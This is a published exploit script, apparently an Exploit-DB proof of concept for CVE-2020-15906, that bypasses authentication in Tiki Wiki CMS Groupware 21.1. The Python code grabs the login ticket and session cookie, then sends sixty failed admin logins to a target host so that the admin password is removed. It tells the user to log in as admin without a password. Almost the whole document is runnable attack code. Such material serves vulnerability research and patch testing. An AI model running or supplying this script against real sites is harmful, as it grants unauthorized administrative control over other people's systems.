Share
## https://sploitus.com/exploit?id=EDB-ID:48927
# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64
#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys
banner = '''
โโโโโโโโโโโโโโโ โโโโโโโโโ โโโโโโโโโ โโโโโโ โโโโโโโ โโโ โโโ
โโโโโโโโโโโโโโโ โโโโโโโโโโ โโโโโโโโโ โโโโโโโ โโโโโโโโโโโโ โโโโ
โโโ โโโโโโโโโโ โโโโโโ โโ โโโโโโโโโโโโโ โโโ โโโโโโโโโโโ โโโโ
โโโ โโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโ โโโ โโโ
โโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโ โโโโโโโโโ
โโโ โโโโโโ โโโโโโ โโโโโโโโ โโโโโโ โโโโโโ โโโโโโโโ โโโโโโโโโ
โโโโโโ โโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ โโโโโโโ โโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโโ โโโ โโโโโโโ โโโ โโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโ
โโโโโโโโโโโ โโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโ โโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโ โโโ โโโ โโโโโโโโโโโโโโ โโโโโโ โโโ โโโ โโโโโโ โโโโโโโโ โโโ โโโโโโ โโโโโโโโโ โโโ โโโโโโโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโ โโโ โโโ โโโโโโโโโโโโโโ โโโโโโโโโโ โโโ โโโโโโ โโโโโโโโ โโโ โโโโโโ โโโโโโโโโโโโโ โโโโโโโโ โโโโโ โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโโโโโโโโโโ โโโ โโโ โโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโโโโโโโโโโ โโโ โโโ โโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโ โโโ โโโ โโโ โโโโโโโโโโโโโโโโโโโ
โโโ โโโ โโโโโโโ โโโ โโโ โโโโโโโโโโโโโโ โโโโโ โโโ โโโ โโโโโโโโโโ โโโ โโโ โโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโโโ โโโ โโโ โโโ โโโโโโโโโโโโโโโโโโโ
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''
def main():
if(len(sys.argv) < 2):
print(banner)
print("Usage: %s <host> " % sys.argv[0])
print("Eg: %s 1.2.3.4 " % sys.argv[0])
return
rhost = sys.argv[1]
url = "http://"+rhost+"/tiki/tiki-login.php"
session = requests.Session()
def get_ticket():
r = requests.get(url)
login_page = r.text.encode('utf-8')
html = lxml.html.fromstring(login_page)
auth = html.xpath('//input[@name="ticket"]/@value')
return str(auth)[2:-2]
def get_cookie():
session.get(url)
return session.cookies.get_dict()
cookie = get_cookie()
ticket = get_ticket()
payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzrhost, deflate',
'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '125',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
}
for i in range(60):
r = session.post(url, payload, headers)
if("Account requires administrator approval." in r.text):
print("Admin Password got removed.")
print("Use BurpSuite to login into admin without a password ")
if(__name__ == '__main__'):
main()